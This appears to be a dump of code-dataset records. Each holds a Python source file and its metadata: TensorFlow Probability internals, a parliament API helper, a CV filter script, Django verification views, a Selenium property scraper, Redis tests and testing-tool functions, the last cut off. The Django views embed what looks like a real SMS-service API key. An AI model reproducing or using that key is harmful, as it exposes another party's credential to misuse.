a given distribution, but it *is* required if a `SavedModel` with\n functions accepting or returning composite wrappers of this distribution\n will be loaded in python (without having called `as_composite` already).\n\n Example:\n\n ```python\n class MyDistribution(tfp.distributions.Distribution):\n ...\n\n # This will fail to load.\n model = tf.saved_model.load(\n '/path/to/sm_with_funcs_returning_composite_tensor_MyDistribution')\n ```\n\n Instead:\n ```python\n @tfp.experimental.register_composite\n class MyDistribution(tfp.distributions.Distribution):\n ...\n\n # This will load.\n model = tf.saved_model.load(\n '/path/to/sm_with_funcs_returning_composite_tensor_MyDistribution')\n ```\n\n Args:\n cls: A subclass of `Distribution`.\n\n Returns:\n The input, with the side-effect of registering it as a composite-friendly\n distribution.\n\n Raises:\n TypeError: If `cls` is not a subclass of Distribution, or if\n registration fails (`cls` is not convertible).\n NotImplementedError: If registration fails (`cls` is not convertible).\n \"\"\"\n if not issubclass(cls, distributions.Distribution):\n raise TypeError('Expected cls to be a subclass of Distribution but saw: {}'\n .format(cls))\n _make_convertible(cls)\n return cls\n", "sub_path": "tensorflow_probability/python/experimental/composite_tensor.py", "file_name": "composite_tensor.py", "file_ext": "py", "file_size_in_byte": 10796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.compat.v2.TypeSpec", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2", "line_number": 36, "usage_type": "name"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder._TypeSpecCodec", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder", "line_number": 80, "usage_type": "name"}, {"api_name": "tensorflow.python.framework.composite_tensor.CompositeTensor", "line_number": 94, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.TensorSpec.from_tensor", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2.TensorSpec", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v2", "line_number": 123, "usage_type": "name"}, {"api_name": "tensorflow.python.framework.composite_tensor.CompositeTensor", "line_number": 125, "usage_type": "argument"}, {"api_name": "tensorflow_probability.python.distributions", "line_number": 141, "usage_type": "argument"}, {"api_name": "inspect.isclass", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.distributions.Distribution", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.distributions", "line_number": 143, "usage_type": "name"}, {"api_name": "tensorflow.python.framework.composite_tensor.CompositeTensor", "line_number": 218, "usage_type": "argument"}, {"api_name": "tensorflow.compat.v2.convert_to_tensor", "line_number": 236, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2", "line_number": 236, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.distributions.Distribution", "line_number": 243, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.distributions", "line_number": 243, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.internal.tensor_util.is_ref", "line_number": 245, "usage_type": "call"}, {"api_name": "tensorflow_probability.python.internal.tensor_util", "line_number": 245, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.convert_to_tensor", "line_number": 247, "usage_type": "call"}, {"api_name": "tensorflow.compat.v2", "line_number": 247, "usage_type": "name"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder.StructureCoder", "line_number": 254, "usage_type": "call"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder", "line_number": 254, "usage_type": "name"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder.NotEncodableError", "line_number": 257, "usage_type": "attribute"}, {"api_name": "tensorflow.python.saved_model.nested_structure_coder", "line_number": 257, "usage_type": "name"}, {"api_name": "tensorflow_probability.python.distributions.Distribution", "line_number": 305, "usage_type": "attribute"}, {"api_name": "tensorflow_probability.python.distributions", "line_number": 305, "usage_type": "name"}]} {"seq_id": "293784836", "text": "from tkapi import api\nfrom orderedset import OrderedSet\n\n\ndef get_commissie_namen():\n commissies = api.get_commissies()\n namen = []\n for commissie in commissies:\n if commissie.naam:\n namen.append(commissie.naam)\n return OrderedSet(sorted(namen))\n\n\ndef get_commissie_soorten():\n commissies = api.get_commissies()\n soorten = []\n for commissie in commissies:\n if commissie.soort:\n soorten.append(commissie.soort)\n return OrderedSet(sorted(soorten))\n", "sub_path": "tkapi/info.py", "file_name": "info.py", "file_ext": "py", "file_size_in_byte": 506, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tkapi.api.get_commissies", "line_number": 6, "usage_type": "call"}, {"api_name": "tkapi.api", "line_number": 6, "usage_type": "name"}, {"api_name": "orderedset.OrderedSet", "line_number": 11, "usage_type": "call"}, {"api_name": "tkapi.api.get_commissies", "line_number": 15, "usage_type": "call"}, {"api_name": "tkapi.api", "line_number": 15, "usage_type": "name"}, {"api_name": "orderedset.OrderedSet", "line_number": 20, "usage_type": "call"}]} {"seq_id": "566563123", "text": "\"\"\"For each loop of estimation in CV, find the corresponding test samples and\npick them out.\n\n\"\"\"\n# Author: Muchenxuan Tong <mtong@appannie.com>\n\nimport sys\nimport os\nimport os.path\nimport pickle\nfrom collections import defaultdict\nfrom optparse import OptionParser\nimport pandas as pd\n\n\ndef parse_options():\n parser = OptionParser()\n parser.add_option(\"-c\", \"--cvdir\", dest=\"cv_dir\",\n help=\"Required. The directory which contains cross-validation index.\")\n (opts, args) = parser.parse_args()\n\n return (opts, args)\n\n\ndef main():\n (opts, args) = parse_options()\n cv_index_dir = opts.cv_dir\n est_dir = args[0]\n output_dir = args[1]\n\n\n cv_by_store = _read_and_group_cv_index_by_store(cv_index_dir)\n # In est_dir, each sub-dir is named with the cv loop number.\n #\n # Each sub-dir contains the regular estimation file, and we need to pick the\n # test samples out for each sub-dir.\n df_by_filename = defaultdict(list)\n for d in os.listdir(est_dir):\n d_full_path = os.path.join(est_dir, d)\n if os.path.isdir(d_full_path):\n print(d_full_path)\n kfold_index = int(d)\n df_by_filename_sub = _filter_and_gather_subdir(d_full_path, cv_by_store, kfold_index)\n # The corresponding est files in each sub-dir should have the same name\n # We use the fact to merge them.\n for (k, v) in df_by_filename_sub.iteritems():\n df_by_filename[k].append(v)\n\n # Concat the dfs and write into output file\n for (filename, v) in df_by_filename.iteritems():\n df = pd.concat(v)\n df.to_csv(os.path.join(output_dir, filename), index=False)\n\n\ndef _read_and_group_cv_index_by_store(cv_index_dir):\n \"\"\"\n\n Arguments:\n - `cv_index_dir`:\n \"\"\"\n pickle_names = filter(lambda s: s.endswith('pickle'), os.listdir(cv_index_dir))\n groupby_store = {}\n for name in pickle_names:\n store = name.split('_')[0]\n full_path = os.path.join(cv_index_dir, name)\n obj = pickle.load(open(full_path, 'r'))\n groupby_store[store] = obj\n return groupby_store\n\n\ndef _filter_and_gather_subdir(d, cv_by_store, kfold_index):\n est_files = filter(lambda s: s.endswith('.csv'), os.listdir(d))\n # The corresponding est files in each sub-dir should have the same name\n # We use the fact to merge them.\n df_by_filename = {}\n\n for f in est_files:\n (store, unit) = f.split('_')[:2]\n unit_key = 'downloads' if unit == 'Downloads' else 'sales'\n full_path = os.path.join(d, f)\n test_samples = set(map(int, cv_by_store[store][unit_key][kfold_index]))\n\n df = pd.read_csv(full_path)\n df = df[df['app_id'].isin(test_samples)]\n df_by_filename[f] = df\n\n return df_by_filename\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "evaluation/py/cv_filter.py", "file_name": "cv_filter.py", "file_ext": "py", "file_size_in_byte": 2828, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "optparse.OptionParser", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 37, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 66, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 83, "usage_type": "call"}]} {"seq_id": "438769542", "text": "from django.shortcuts import render, redirect\nfrom django.core.mail import send_mail\nfrom users.models import CustomUser\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponse\nfrom django.template.loader import render_to_string\nfrom django.contrib import messages\nfrom kavenegar import *\nimport random\nimport string\n\n\n# Create your views here.\ndef random_string_email():\n\t\"\"\"\n\tthat create random string with 10 character\n\t\"\"\"\n\tletter = string.ascii_lowercase\n\trandom_string = ''.join(random.choice(letter) for i in range(16))\n\treturn random_string\n\n\ndef random_string_mobile():\n\tletter = string.digits\n\trandom_string = ''.join(random.choice(letter) for i in range(5))\n\treturn random_string\n\n\ndef send_email_verification(request, user_id):\n\tget_user = CustomUser.objects.get(pk=user_id)\n\n\tget_user.email_verify = random_string_email() # every time user click on send verification code\n\tget_user.save()\t\t\t\t\t\t\t\t # we will change her verification code with random code\n\n\temail_verification_code = get_user.email_verify\n\t# message = f\"\"\"\n\t# hello dear {get_user.last_name}:\n\t# click on link bellow to verify your email :\n\t# http://127.0.0.1:8000/verify/{user_id}/{email_verification_code}\n\t# \"\"\"\n\tsubject = \"تایید حساب کاربری\"\n\n\temail_from = settings.EMAIL_HOST_USER\n\trecipient_list = [get_user.email, ]\n\tcontext_email = {\n\t\t'username' : get_user.last_name,\n\t\t'user_id' : user_id,\n\t\t'code' : email_verification_code\n\t}\n\thtml_msg = render_to_string('verification/email.html',context=context_email)\n\tsend_mail(subject,\n\t\t\t from_email=email_from,\n\t\t\t recipient_list=recipient_list,\n\t\t\t message=html_msg,\n\t\t\t html_message=html_msg)\n\tmessages.info(request, 'ایمیل تاییدیه برای شما ارسال شد .')\n\treturn redirect(f'http://127.0.0.1:8000/profile/{request.user.channel_name}/')\n\n\ndef send_mobile_verification(request, user_id):\n\tget_user = CustomUser.objects.get(pk=user_id)\n\tget_user.mobile_verify = random_string_mobile()\n\tget_user.save()\n\tmobile_verification_code = get_user.mobile_verify\n\ttry:\n\t\tapi = KavenegarAPI('445062394356494A392B7979577A576F524F6B2B54513D3D')\n\t\tmessage = f\"\"\"\n\t\tکد تایید شما :\n\t\t{mobile_verification_code}\n\t\t\"\"\"\n\t\tparams = {\n\t\t\t'sender': '', # optional\n\t\t\t'receptor': f'{get_user.phone_number}', # multiple mobile number, split by comma\n\t\t\t'message': message,\n\t\t}\n\t\tresponse = api.sms_send(params)\n\t\tprint(response)\n\texcept APIException as e:\n\t\tprint(e)\n\texcept HTTPException as e:\n\t\tprint(e)\n\treturn redirect(f'http://127.0.0.1:8000/profile/{request.user.channel_name}/')\n\n\ndef verify_email(request, user_id, verification_code):\n\tif request.user.is_authenticated :\n\t\tget_user = CustomUser.objects.get(pk=user_id)\n\t\temail_verify_code = get_user.email_verify\n\n\t\tif email_verify_code == verification_code:\n\t\t\tget_user.is_email_verify = True\n\t\t\tget_user.save()\n\t\t\tmessages.success(request, 'ایمیل شما با موفقیت تایید شد .')\n\t\t\treturn redirect(f'http://127.0.0.1:8000/profile/{request.user.channel_name}/')\n\t\telse:\n\t\t\treturn \"didn't match\"\n\telse:\n\t\ttry:\n\t\t\tget_user = CustomUser.objects.get(email_verify=verification_code)\n\t\t\tget_user.is_email_verify = True\n\t\t\tget_user.save()\n\t\t\tmessages.success(request, 'ایمیل شما با موفقیت تایید شد .')\n\t\t\treturn redirect('home-page')\n\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(\"link not correct or its expire\")\n\n\n\n\ndef verify_mobile(request, user_id):\n\tpass\n", "sub_path": "verification/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "string.ascii_lowercase", "line_number": 19, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 20, "usage_type": "call"}, {"api_name": "string.digits", "line_number": 25, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 26, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects.get", "line_number": 31, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 31, "usage_type": "name"}, {"api_name": "django.conf.settings.EMAIL_HOST_USER", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 44, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 51, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 57, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 57, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects.get", "line_number": 62, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 62, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 83, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects.get", "line_number": 88, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 88, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 94, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 94, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 95, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects.get", "line_number": 100, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 100, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 103, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 103, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 104, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 106, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 107, "usage_type": "call"}]} {"seq_id": "580875020", "text": "from selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException, InvalidSelectorException\nimport time\nimport logging\nimport re\nimport pandas as pd\nlogger = logging.getLogger(__name__)\n\n\nclass ExtractData(object):\n def __init__(self, load_images=True):\n if load_images is True:\n self.driver = webdriver.Chrome()\n else:\n chromeOptions = webdriver.ChromeOptions()\n prefs = {\"profile.managed_default_content_settings.images\": 2}\n chromeOptions.add_experimental_option(\"prefs\", prefs)\n self.driver = webdriver.Chrome(chrome_options=chromeOptions)\n self.driver.get(\"http://www.rightmove.co.uk/\")\n self.max_page = 1\n self.current_page = 1\n self.property_links = []\n self.house_info = []\n\n logger.info('loading homepage')\n\n def perform_search(self, search_area, area_size, min_price, max_price, min_beds, max_beds, property_type,\n days_since_added, buy_or_rent):\n logger.info('entering location: %s' % search_area)\n locElem = self.driver.find_element_by_xpath(\"//INPUT[@id='searchLocation']\")\n locElem.send_keys(search_area)\n\n if buy_or_rent == 'buy':\n self.driver.find_element_by_xpath(\"//BUTTON[@id='buy']\").click()\n elif buy_or_rent == 'rent':\n self.driver.find_element_by_xpath(\"//BUTTON[@id='rent']\").click()\n else:\n logger.error('invalid selection for buyorrent variable')\n self.quit_driver()\n exit()\n\n # search radius\n logger.info('selecting area size: %s' % area_size)\n self.driver.find_element_by_xpath(\"//SELECT[@id='radius']/option[text()=%s]\" % area_size).click()\n\n # price\n logger.info('selecting min and max price %s, %s' % (min_price, max_price))\n self.driver.find_element_by_xpath(\"//SELECT[@id='minPrice']/option[text()=%s]\" % min_price).click()\n self.driver.find_element_by_xpath(\"//SELECT[@id='maxPrice']/option[text()=%s]\" % max_price).click()\n\n # min bedrooms\n logger.info('selecting min and max beds %s, %s' % (min_beds, max_beds))\n self.driver.find_element_by_xpath(\"//SELECT[@id='minBedrooms']/option[text()=%s]\" % min_beds).click()\n self.driver.find_element_by_xpath(\"//SELECT[@id='maxBedrooms']/option[text()=%s]\" % max_beds).click()\n\n # property type\n logger.info('selecting property type: %s' % property_type)\n self.driver.find_element_by_xpath(\"//SELECT[@id='displayPropertyType']/option[text()=%s]\" % property_type).click()\n\n # days since added\n logger.info('selecting property type: %s' % days_since_added)\n self.driver.find_element_by_xpath(\n \"//SELECT[@id='maxDaysSinceAdded']/option[text()=%s]\" % days_since_added).click()\n\n # submit\n self.driver.find_element_by_xpath(\"//BUTTON[@id='submit']\").click()\n\n\n time.sleep(0.5)\n logger.info('performing search')\n\n self.get_max_page()\n self.get_property_links()\n self.extract_house_data()\n\n def get_property_links(self):\n properties = self.driver.find_elements_by_class_name(\"propertyCard-link\")\n self.current_page += 1\n logger.info('extracting links from page: %s' % self.current_page)\n for props in properties:\n prop_dict = {\"link\": props.get_attribute(\"href\")}\n self.property_links.append(prop_dict)\n if self.current_page < self.max_page:\n logger.info('navigating to the next page')\n self.navigate_to_next_page()\n else:\n self.remove_duplicate_links()\n logger.info('%s properties found' % len(self.property_links))\n logger.info('links to scrape: %s' % self.property_links)\n return self.property_links\n\n def remove_duplicate_links(self):\n ### above approach returns a duplicate of each link\n logger.info('removing duplicate links')\n self.property_links = [dict(t) for t in set([tuple(d.items()) for d in self.property_links])]\n\n def navigate_to_next_page(self):\n self.driver.find_element_by_xpath(\".//*[@id='l-container']/div[3]/div/div/div/div[3]/button\").click()\n time.sleep(0.5)\n self.get_property_links()\n\n def get_max_page(self):\n logger.info('extracting max page number')\n self.max_page = int(self.driver.find_element_by_xpath(\".//*[@id='l-container']/div[3]/div/div/div/div[2]/span[3]\").text)\n logger.info('%s pages to search through' % self.max_page)\n\n def extract_house_data(self):\n for num, house_link in enumerate(self.property_links):\n logger.info('extracting house data from property: %s, href: %s' % (num, house_link))\n self.driver.get(house_link['link'])\n try:\n prop_id_calc = house_link['link'].split('http://www.rightmove.co.uk/property-for-sale/property-')[1]\n except IndexError:\n prop_id_calc = house_link['link'].split('http://www.rightmove.co.uk/property-to-rent/property-')[1]\n prop_id = prop_id_calc.replace('.html', '')\n try:\n address = self.driver.find_element_by_xpath(\".//*[@id='secondaryAgentDetails']/div/div/address\").text\n except NoSuchElementException:\n logger.error('address not found')\n address = 'not specified'\n try:\n descr = self.driver.find_element_by_xpath(\".//*[@id='primaryContent']/div[1]/div/div/div[2]/div/h1\").text\n beds = descr[0]\n except NoSuchElementException:\n logger.error('description not found')\n descr = 'not specified'\n beds = 'not specified'\n try:\n ##### NEED TO CHANGE THIS CURRENTLY RETURNS A LIST\n price = self.driver.find_element_by_xpath(\".// *[ @ id = 'propertyHeaderPrice']\").text\n price = int(re.findall('\\d+', price)[0])*1000\n except NoSuchElementException:\n logger.error('price not found')\n price = 0\n try:\n agent = self.driver.find_element_by_xpath(\".// *[ @ id = 'aboutBranchLink'] / strong\").text\n except NoSuchElementException:\n logger.error('agent not found')\n agent = 'not specified'\n try:\n tenure = self.driver.find_element_by_xpath(\".// *[ @ id = 'tenureType']\").text\n except NoSuchElementException:\n logger.info('tenure not found')\n tenure = 'not specified'\n try:\n map_img = self.driver.find_element_by_xpath(\".//*[@id='description']/div/div[2]/div[2]/div/a/img\")\n map_source = map_img.get_attribute(\"src\")\n lat_calc = map_source.split('latitude=')[1]\n lat = lat_calc.split('&')[0]\n lon_calc = map_source.split('longitude=')[1]\n lon = lon_calc.split('&')[0]\n except NoSuchElementException:\n logger.info('lat long not found')\n lat = 'not specified'\n lon = 'not specified'\n\n\n\n house_dict = {'id': prop_id, 'href': house_link[\"link\"], 'address': address, 'lat': lat, 'lon': lon,\n 'description': descr,\n 'beds': beds, 'price': price, 'tenure': tenure, 'estage_agent': agent}\n self.house_info.append(house_dict)\n logger.info(house_dict)\n return self.house_info\n\n def save_search_results(self, output_filename):\n csv_df = pd.DataFrame(self.house_info)\n csv_df.to_csv(output_filename, index=False)\n logger.info('saved search results to: %s' % output_filename)\n\n def quit_driver(self):\n self.driver.quit()\n\n\n", "sub_path": "modules/scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 7864, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 15, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 18, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 69, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 99, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 118, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 124, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 131, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 132, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 137, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 142, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 152, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 167, "usage_type": "call"}]} {"seq_id": "102355351", "text": "# -*- coding: utf-8 -*-\n\"\"\"Tests for the server's main entry point.\"\"\"\n# Part of Atria MUD Server (https://github.com/whutch/atria)\n# :copyright: (c) 2008 - 2016 Will Hutcheson\n# :license: MIT (https://github.com/whutch/atria/blob/master/LICENSE.txt)\n\nfrom importlib import reload\n\nimport pytest\nimport redis\n\nimport atria.nanny as nanny\n\n\nclass TestMain:\n\n \"\"\"A collection of tests for the server's nanny process.\"\"\"\n\n rdb = redis.StrictRedis(decode_responses=True)\n\n @pytest.mark.timeout(2)\n def test_main(self):\n\n \"\"\"Test that the nanny process runs properly.\"\"\"\n\n channels = self.rdb.pubsub(ignore_subscribe_messages=True)\n\n def _server_booted(msg):\n pid = int(msg[\"data\"])\n self.rdb.publish(\"server-shutdown\", pid)\n\n channels.subscribe(**{\"server-boot-complete\": _server_booted})\n worker = channels.run_in_thread()\n nanny.start_nanny()\n worker.stop()\n reload(nanny)\n\n @pytest.mark.timeout(2)\n def test_main_reload(self):\n\n \"\"\"Test that the nanny process can handle a reload request.\"\"\"\n\n channels = self.rdb.pubsub(ignore_subscribe_messages=True)\n did_reload = False\n\n def _server_booted(msg):\n nonlocal did_reload\n pid = int(msg[\"data\"])\n if did_reload:\n self.rdb.publish(\"server-shutdown\", pid)\n else:\n did_reload = True\n self.rdb.publish(\"server-reload-request\", pid)\n\n channels.subscribe(**{\"server-boot-complete\": _server_booted})\n worker = channels.run_in_thread()\n nanny.start_nanny()\n worker.stop()\n reload(nanny)\n", "sub_path": "tests/test_nanny.py", "file_name": "test_nanny.py", "file_ext": "py", "file_size_in_byte": 1675, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "redis.StrictRedis", "line_number": 19, "usage_type": "call"}, {"api_name": "atria.nanny.start_nanny", "line_number": 34, "usage_type": "call"}, {"api_name": "atria.nanny", "line_number": 34, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 36, "usage_type": "call"}, {"api_name": "atria.nanny", "line_number": 36, "usage_type": "argument"}, {"api_name": "pytest.mark.timeout", "line_number": 21, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 21, "usage_type": "attribute"}, {"api_name": "atria.nanny.start_nanny", "line_number": 57, "usage_type": "call"}, {"api_name": "atria.nanny", "line_number": 57, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 59, "usage_type": "call"}, {"api_name": "atria.nanny", "line_number": 59, "usage_type": "argument"}, {"api_name": "pytest.mark.timeout", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 38, "usage_type": "attribute"}]} {"seq_id": "583601370", "text": "import inspect\nimport json\nimport sys\n\n#from urllib.parse import urlencode\n#from urllib.parse import urlparse\nfrom future.backports.urllib.parse import urlparse\nfrom future.backports.urllib.parse import urlencode\n\nfrom otest import ConfigurationError\nfrom otest.check import State\nfrom otest.events import EV_CONDITION\nfrom otest.events import EV_RESPONSE\nfrom otest.tool import get_redirect_uris\nfrom otest.check import ERROR\n\nfrom oic.extension.message import make_software_statement\nfrom oic.utils.keyio import KeyBundle\nfrom otest.check import get_id_tokens\n\n__author__ = 'roland'\n\n\ndef set_request_args(oper, args):\n oper.req_args.update(args)\n\n\ndef set_response_args(oper, args):\n oper.response_args.update(args)\n\n\ndef set_op_args(oper, args):\n oper.op_args.update(args)\n\n\ndef set_arg(oper, args):\n for key, val in args.items():\n setattr(oper, key, val)\n\n\ndef cache_events(oper, arg):\n key = oper.conv.test_id\n oper.conv.cache[key] = oper.conv.events.events[:]\n\n\ndef restore_events(oper, arg):\n _events = oper.conv.events\n _cache = oper.conv.cache\n key = oper.conv.test_id\n\n if len(_events):\n for x in _cache[key][:]:\n if x not in _events:\n _events.append(x)\n _events.sort()\n else:\n oper.conv.events = _cache[key]\n\n del _cache[key]\n\n\ndef skip_operation(oper, arg):\n if oper.profile[0] in arg[\"flow_type\"]:\n oper.skip = True\n\n\ndef expect_exception(oper, args):\n oper.expect_exception = args\n\n\ndef conditional_expect_exception(oper, args):\n condition = args[\"condition\"]\n exception = args[\"exception\"]\n\n res = True\n for key in list(condition.keys()):\n try:\n assert oper.req_args[key] in condition[key]\n except KeyError:\n pass\n except AssertionError:\n res = False\n\n try:\n if res == args[\"oper\"]:\n oper.expect_exception = exception\n except KeyError:\n if res is True:\n oper.expect_exception = exception\n\n\ndef add_post_condition(oper, args):\n for key, item in args.items():\n oper.tests['post'].append((key, item))\n\n\ndef add_pre_condition(oper, args):\n for key, item in args.items():\n oper.tests['pre'].append((key, item))\n\n\ndef set_allowed_status_codes(oper, args):\n oper.allowed_status_codes = args\n\n\ndef set_time_delay(oper, args):\n oper.delay = args\n\n\ndef clear_cookies(oper, args):\n oper.client.cookiejar.clear()\n\n\ndef set_webfinger_resource(oper, args):\n try:\n oper.resource = oper.op_args[\"resource\"]\n except KeyError:\n oper.resource = oper.conf.ISSUER\n\n\ndef set_discovery_issuer(oper, args):\n if oper.dynamic:\n oper.op_args[\"issuer\"] = oper.conv.info[\"issuer\"]\n\n\ndef redirect_uri_with_query_component(oper, args):\n ru = get_redirect_uris(oper.conf.INFO)[0]\n ru += \"?%s\" % urlencode(args)\n oper.req_args.update({\"redirect_uri\": ru})\n\n\ndef set_response_where(oper, args):\n if 'response_type' in args:\n if oper.req_args[\"response_type\"] in args['response_type']:\n oper.response_where = args[\"where\"]\n elif 'not_response_type' in args:\n if oper.req_args[\"response_type\"] not in args['not_response_type']:\n oper.response_where = args[\"where\"]\n else:\n oper.response_where = args[\"where\"]\n\n\ndef check_support(oper, args):\n # args = { level : kwargs }\n for level, kwargs in list(args.items()):\n for key, val in list(kwargs.items()):\n try:\n assert val in oper.conv.entity.provider_info[key]\n except AssertionError:\n oper.conv.events.store(\n EV_CONDITION,\n State(\"Check support\", status=level,\n message=\"No support for: {}={}\".format(key, val)))\n\n\ndef set_principal(oper, args):\n try:\n oper.req_args[\"principal\"] = oper.conv.entity_config[args[\"param\"]]\n except KeyError:\n raise ConfigurationError(\"Missing parameter: %s\" % args[\"param\"])\n\n\ndef set_uri(oper, param, tail):\n ru = get_redirect_uris(oper.conv)[0]\n p = urlparse(ru)\n oper.req_args[param] = \"%s://%s/%s\" % (p.scheme, p.netloc, tail)\n\n\ndef static_jwk(oper, args):\n _client = oper.conv.entity\n oper.req_args[\"jwks_uri\"] = None\n oper.req_args[\"jwks\"] = {\"keys\": _client.keyjar.dump_issuer_keys(\"\")}\n\n\ndef get_base(cconf=None):\n \"\"\"\n Make sure a '/' terminated URL is returned\n \"\"\"\n try:\n part = urlparse(cconf[\"_base_url\"])\n except KeyError:\n part = urlparse(cconf[\"base_url\"])\n # part = urlparse(cconf[\"redirect_uris\"][0])\n\n if part.path:\n if not part.path.endswith(\"/\"):\n _path = part.path[:] + \"/\"\n else:\n _path = part.path[:]\n else:\n _path = \"/\"\n\n return \"%s://%s%s\" % (part.scheme, part.netloc, _path,)\n\n\ndef store_sector_redirect_uris(oper, args):\n _base = get_base(oper.conv.entity_config)\n\n try:\n ruris = args[\"other_uris\"]\n except KeyError:\n try:\n ruris = oper.req_args[\"redirect_uris\"]\n except KeyError:\n ruris = oper.conv.entity.redirect_uris\n\n try:\n ruris.append(\"%s%s\" % (_base, args[\"extra\"]))\n except KeyError:\n pass\n\n f = open(\"%ssiu.json\" % 